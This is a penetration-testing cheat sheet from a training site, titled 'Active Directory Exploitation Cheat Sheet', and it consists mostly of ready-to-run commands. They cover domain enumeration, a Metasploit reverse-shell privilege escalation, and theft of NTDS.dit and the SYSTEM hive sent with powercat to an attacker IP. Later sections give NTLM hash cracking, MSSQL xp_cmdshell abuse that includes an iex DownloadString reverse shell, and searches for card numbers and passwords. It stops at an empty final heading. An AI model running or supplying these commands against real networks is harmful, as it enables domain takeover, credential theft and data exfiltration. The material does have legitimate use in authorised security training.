Active Directory Exploitation Cheat Sheet

Ethical Hackers Academy

Active Directory is a Microsoft service run in the Server that predominantly used to manage various permission and resources around the network, also it performs an authenticates and authorizes all users and computers in a Windows domain type networks.

Recent cyber-attacks are frequently targeting the vulnerable active directory services used in enterprise networks where the organization handling the 1000's of computers in the single point of control called "Domain controller" which is one of the main targeted services by the APT Hackers.

Though exploiting Active directory is a challenging task, It is certain to activate directory exploitation Cheat Sheet which contains common enumeration and attack methods which including the several following phases to make it simple.

- **Recon**
- **Domain Enum**
- **Local Privilege Escalation**
- **User Hunting**
- **Domain Admin Privileges**
- **Database Hunting**
- **Data Exfiltration**
- **Active Directory Exploitation Tools**

Member Packages for 100 + Online Cyber Security Courses: Access Entire Website

Cyber Security Courses List

Reconnaissance

Recon Phase contains various modules, including Port scan that performs the following operations.

PORT SCAN

```
Import-Module Invoke-Portscan.ps1
<#
Invoke-Portscan -Hosts "websrv.domain.local,wsus.domain.local,apps.domain.local" -TopPorts 50 echo websrv.domain.local | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" Invoke-Portscan -Hosts 172.16.0.0/24 -T 4 -TopPorts 25 -oA localnet
#>
```

AD MODULE WITHOUT RSAT

The secret to being able to run AD enumeration commands from the AD Powershell module on a system without RSAT installed, is the DLL located in **C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management** on a system that has the RSAT installed.

Set up your AD VM, install RSAT, extract the dll and drop it to the target system used to enumerate the active directory.

```
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-Command get-adcom*
```

Domain Enumeration

DOMAIN

- **Get current domain**

```
Get-NetDomain (PowerView)
Get-ADDomain (ActiveDirectory Module)
```

- **Get object of another domain**

```
Get-NetDomain -Domain domain.local
Get-ADDomain -Identity domain.local
```

- **Get domain SID for the current domain**

```
Get-DomainSID
(Get-ADDomain).DomainSID
```

- **Get domain policy for the current domain**

```
Get-DomainPolicy
(Get-DomainPolicy)."system access"
```

- **Get domain policy for another domain**

```
(Get-DomainPolicy -domain domain.local)."system access"
```

- **Get domain controllers for the current domain**

```
Get-NetDomainController
Get-ADDomainController
```

- **Get domain controllers for another domain**

```
Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover
```

NETUSER

- **Get a list of users in the current domain**

```
Get-NetUser
Get-NetUser -Username student1
Get-NetUser | select -ExpandProperty samaccountname
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *
```

- Get list of all properties for users in the current domain

```
Get-UserProperty
Get-UserProperty -Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

- Search for a particular string in a user's attributes

```
Find-UserField -SearchField Description -SearchTerm "built"
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
```

NETGROUP

- **Get a list of computers in the current domain**

```
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Get-ADComputer -Filter * | select Name Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
```

- **Get all the groups in the current domain**

```
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
```

- **Get all groups containing the word "admin" in group name**

```
Get-NetGroup *admin*
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

- **Get all the members of the Domain Admins group**

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain target.local
```

- **Get the group membership for a user**

```
Get-NetGroup -UserName "john"
Get-ADPrincipalGroupMembership -Identity student1
```

- **List all the local groups on a machine (needs administrator privs on non-dc machines)**

```
Get-NetLocalGroup -ComputerName DC01.enumme.local -ListGroups
```

- Get members of all the local groups on a machine (needs administrator privs on non-dc machines)

```
Get-NetLocalGroup -ComputerName DC01.enumme.local -Recurse
```

LOGGED

- **Get actively logged users on a computer (needs local admin rights on the target)**

```
Get-NetLoggedon -ComputerName <servername>
```

- **Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)**

```
Get-LoggedonLocal -ComputerName DC01.enumme.local
```

- **Get the last logged user on a computer (needs administrative rights and remote registry on the target)**

```
Get-LastLoggedOn -ComputerName <servername>
```

SHARE

- **Find shares on hosts in current domain**

```
Invoke-ShareFinder -Verbose
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC -Verbose
```

- **Find sensitive files on computers in the domain**

```
Invoke-FileFinder -Verbose
```

- **Get all fileservers of the domain**

```
Get-NetFileServer
```

Local Privilege Escalation

Detection

Windows VM

1. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
2. In Autoruns, click on the 'Logon' tab.
3. From the listed results, notice that the "My Program" entry is pointing to "C:\Program Files\Autorun Program\program.exe".
4. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
5. From the output, notice that the "Everyone" user group has "FILE_ALL_ACCESS" permission on the "program.exe" file.

Exploitation

Kali VM

1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
7. Copy the generated file, program.exe, to the Windows VM.

Windows VM

1. Place program.exe in 'C:\Program Files\Autorun Program'.
2. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.

Kali VM

1. Wait for a new session to open in Metasploit.
2. In Metasploit (msf > prompt) type: sessions -i [Session ID]
3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid

Memory

Exploitation

Kali VM

1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
3. In Metasploit (msf > prompt) type: set uripath x
4. In Metasploit (msf > prompt) type: run

Windows VM

1. Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
2. Open command prompt and type: taskmgr
3. In Windows Task Manager, right-click on the "iexplore.exe" in the "Image Name" columnand select "Create Dump File" from the popup menu.
4. Copy the generated file, iexplore.DMP, to the Kali VM.

Kali VM

1. Place 'iexplore.DMP' on the desktop.
2. Open command prompt and type: strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
3. Select the Copy the Base64 encoded string.
4. In command prompt type: echo -ne [Base64 String] | base64 -d
5. Notice the credentials in the output.

4. USER HUNTING

- Find all machines on the current domain where the current user has local admin access (Get-NetComputer + Invoke-CheckLocalAdminAccess)

```
Find-LocalAdminAccess -Verbose
```

- Find Administrative access

```
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
# No Stateful
Enter-PSSession -ComputerName targetcomputer.target.domain.local
# Stateful
$sess = New-Pssession -ComputerName targetcomputer.target.domain.local
Enter-Pssession -session $sess
```

- If RPC and SMB are blocked check with WMI

```
. .\Find-WMILocalAdminAccess.ps1
```

- Find local admins on all machines of the domain (Get-NetComputer+Get- NetLocalGroup)

```
Invoke-EnumerateLocalAdmin -Verbose
```

- Find computers where a domain admin (or specified user/group) has sessions

```
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
```

- Confirm admin access

```
Invoke-UserHunter -CheckAccess
```

- Find computers where a domain admin is logged-in (Get-NetSession / Get-NetLoggedon)

```
Invoke-UserHunter -Stealth
```

- WAIT FOR INCOMING SESSINON

```
Invoke-UserHunter -ComputerName targetserver -Poll 100 -UserName Administrator -Delay 5 -Verbose
```

5. Account Hunting & Data Exfiltration

Obtaining NTDS.dit Using ntdsutil

```
ntdsutil
activate instance ntds
```

```
ifm
create full C:\ntdsutil
quit
quit
```

Obtaining NTDS.dit Using vssadmin

```
mkdir c:\extract
REM -> c:\Windows\system32
vssadmin create shadow /for=c:
copy \\?GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\ntds\ntds.dit c:\extract\ntds.dit
reg SAVE HKLM\SYSTEM c:\extract\SYS
REM yes
REM exfiltrate to your attacker computer
REM housekeeping
vssadmin delete shadows /shadow={PATH} /Quiet
```

Obtaining NTDS.dit Using shadow copy (SeBackup)

```
# Create  script.txt file that will contain the shadow copy process script
#Script ->{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive

create

expose %mydrive% w:
end backup
#}

# TRANSFERT TO TARGET SYSTEM
Invoke-WebRequest -Uri "http://10.10.10.10/script.txt" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\script.txt"

# EXEC DISKSHADOW
cd C:\windows\system32\spool\drivers\color
diskshadow.exe -s script.txt

# CHECK THE CAB
ls
-a----         6/7/2020   9:31 PM            743 example.cab

# IMPORTING DLL SeBackupPrivilegeCmdLets & SeBackupPrivilegeUtils
Invoke-WebRequest -Uri "http://10.10.10.10/SeBackupPrivilegeCmdLets.dll" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\SeBackupPrivilegeCmdLets.dll"
Invoke-WebRequest -Uri "http://10.10.10.10/SeBackupPrivilegeUtils.dll" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\SeBackupPrivilegeUtils.dll"
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

# CHECK MODULE
get-help SeBackupPrivilege
Name                              Category  Module                    Synopsis
----                              --------  ------                    --------
Get-SeBackupPrivilege             Cmdlet    SeBackupPrivilegeCmdLets  ...
Set-SeBackupPrivilege             Cmdlet    SeBackupPrivilegeCmdLets  ...
Copy-FileSeBackupPrivilege        Cmdlet    SeBackupPrivilegeCmdLets  ...

#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\Windows\temp\ntds.dit -Overwrite

# Dump ACTUAL SYSTEM hive
reg.exe save HKLM\SYSTEM c:\temp\system.hive

# FILE TRANSFERT
powercat -c 10.10.10.10 -p 443 -i c:\Windows\temp\system.hive
powercat -c 10.10.10.10 -p 443 -i c:\Windows\temp\ntds.dit
```

Rebuild AD Hashes

- -ntds: location and name of the ntds.dit file
- -system: location and name of the SYSTEM hive
- -hashes lmnhash:nthash: NTLM hash
- LOCAL: parse files on the local system
- -outputfile: location and name of the output file. Extensions are automatically added based on content extracted

```
# impacket
secretsdump.py -ntds ntds.dit -system SYS -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
```

Install your NVIDIA Driver for GPU Power

```
apt install -y nvidia-driver nvidia-cuda-toolkit
apt install -y mesa-utils
# CHECK
nvidia-smi
# CHECK
nvidia-smi -i 0 -q
# CHECK
glxinfo | grep -i "direct rendering"
```

Cracking

- -m 1000: NTLM | Operating Systems
- ntlm-extract.ntds: secretsdump outfile
- /usr/share/wordlists/rockyou.txt: plaintext wordlist
- -o: location of cracked hash

```
hashcat -m 1000 ntlm-extract.ntds /usr/share/wordlists/rockyou.txt -o cracked
cat cracked
```

Database Hunting - MSSQL

Tool : PowerUpSQL

```
Import-Module .\PowerupSQL.psd1
```

Discovery (SPN Scanning)

Discover Local SQL Server Instances

```
Get-SQLInstanceLocal -Verbose
```

Discover Remote SQL Server Instances

```
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose
```

Discover Active Directory Domain SQL Server Instances using alternative domain credentials

```
runas /noprofile /netonly /user:domain\user PowerShell.exe
import-module PowerUpSQL.psd1
Get-SQLInstanceDomain -Verbose -DomainController 172.16.0.1 -Username domain\user -password 'P@ssword123'
```

Check Accessibility

```
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

Gather Information

```
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

Look for links to remote servers

```
Get-SQLServerLink -Instance db-mssql -Verbose
```

Enumerating Database Links

```
Get-SQLServerLinkCrawl -Instance db-mssql -Verbose
```

List SQL Servers using a specific domain account

```
Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc
```

List shared domain user SQL Server service accounts

```
Get-SQLInstanceDomain -Verbose | Group-Object DomainAccount | Sort-Object count -Descending | select Count,Name | Where-Object {($_.name -notlike "*$") -and ($_.count -gt 1) }
```

Authenticating to a known SQL Server instance as the current domain user.

```
Get-SQLQuery -Verbose -Instance "10.2.2.5,1433"
```

Authenticating to a known SQL Server instance using a SQL Server login.

```
# Server and Instance Name
Get-SQLQuery -Verbose -Instance "servername\instancename" -username testuser -password testpass
# IP and Instance Name
Get-SQLQuery -Verbose -Instance "10.2.2.5\instancename" -username testuser -password testpass
# IP and Port
Get-SQLQuery -Verbose -Instance "10.2.2.5,1433" -username testuser -password testpass
```

Get general server information such as SQL/OS versions, service accounts, sysdmin access etc.

```
Get-SQLServerInfo -Verbose -Instance SQLServer1\Instance1
#
$ServerInfo = Get-SQLInstanceDomain | Get-SQLServerInfoThreaded -Verbose -Threads 10
$ServerInfo
```

Get an inventory of common objects from the remote server including permissions, databases, tables, views etc, and dump them out into CSV files.

```
Invoke-SQLDumpInfo -Verbose -Instance Server1\Instance1
```

Audit for Issues

```
Invoke-SQLAudit -Verbose -Instance SQLServer1
```

Execute OS commands: Agent Job - PowerShell

```
$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20
```

Xp_cmdshell v1

```
Get-SQLServerLinkCrawl -Instance db-mssql -Query "sp_configure 'show advanced options', '1'"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "RECONFIGURE"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "sp_configure 'xp_cmdshell', '1'"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "RECONFIGURE"
```

Xp_cmdshell v2

```
Get-SQLQuery -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "msqlsrv.domain.local"'
```

Xp_cmdshell v3

```
Get-SQLServerLinkCrawl -Instance DOMAIN\SQLEXPRESS 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "msqlsrv.domain.local"'
```

OSQL Xp_cmdshell

```
osql -E -S "db-mssql" -Q "EXECUTE('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [msqlsrv.domain.local]"
```

Executing Commands

```
Get-SQLServerLinkCrawl -Instance db-mssql -Query "exec master..xp_cmdshell "whoami'"
```

Reverse shell

```
Get-SQLServerLinkCrawl -Instance db-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:1433/revshell_FUD.ps1'')"'
```

Data mining

```
Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,ssn,password" -SampleSize 2 -ValidateCC -NoDefaults
```

Check files

```
Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded -Verbose -Threads 10 -NoDefaults | Where-Object {$_.is_encrypted -eq "TRUE"} | Get-SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "card, password" -SampleSize 2 -ValidateCC -NoDefaults
```

Extracting SQL Server Login password hashes